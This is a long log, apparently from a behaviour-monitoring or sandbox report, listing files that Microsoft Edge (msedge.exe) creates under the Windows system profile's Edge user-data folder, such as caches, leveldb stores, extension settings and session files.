Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\a14c0f62-50b6-4212-af3b-5b2b74bab812.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\449b6e7f-5636-42fd-8860-a4442803978d.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\519629a3-ef42-45a8-80a4-1ef3c9ab0f55.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF1f9767.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13381052068843973
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9a7e03ce51b814d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8180e3c3a78ecd22_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\0e0de3ce351f8e6b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9626a09b54b19df2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\d24b740d-fc22-49d9-84be-9b286ce41c73
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000002.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT~RF1f9f17.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cd2169f8f5a992de_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Browser
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4c8cad45-196d-4217-b0ab-447e9c6b9df0.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b82c4dbbc2bbed92_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2e0995500af195c4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b931fc6ff8856876_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f0e758953c43c4db_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4f7e5db733228f6d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\99ce8290e829e155_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c9a14d49161c54bd_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa00e0605e2f2a9a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\355018c0bc478789_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\29c4bbd1bfa0cc63_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b9e5d9eb48353eef_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3a12ecbf3e43ece7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\be495402201abc59_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd9c59ef6bed1941_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\eac233f365c69025_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\038090926af56b05_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\373dd6c0efd32850_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\d8dd7116c41d75e8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b430a46d5f8b883a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6038c11eb2cee93f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5f23ac01b3b23511_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\863476f01ea8d40c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd3acb4df3be7f9b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4409578f8456196c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\709e3b670a25c685_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f15696bde9e1789c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\19ca4fe1ee6a7a2c_0
